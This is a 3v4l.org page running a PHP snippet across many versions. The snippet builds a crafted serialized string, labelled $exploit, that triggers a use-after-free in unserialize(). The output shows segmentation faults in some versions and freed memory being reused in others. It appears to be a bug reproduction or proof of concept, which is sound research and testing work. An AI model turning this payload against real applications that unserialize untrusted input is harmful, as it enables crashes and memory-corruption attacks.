3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { private $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 3; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi' . $i; } var_dump($data);
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 5.6.28, 7.0.20 - 7.2.0
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(3) } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.6
array(2) { [0]=>
Process exited with code 139.
Output for 5.4.10 - 5.4.44, 5.5.24 - 5.5.28, 5.6.8 - 5.6.12
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(3) } [1]=> string(3) "hi1" }
Output for 5.3.20 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/BclOC on line 21 bool(false)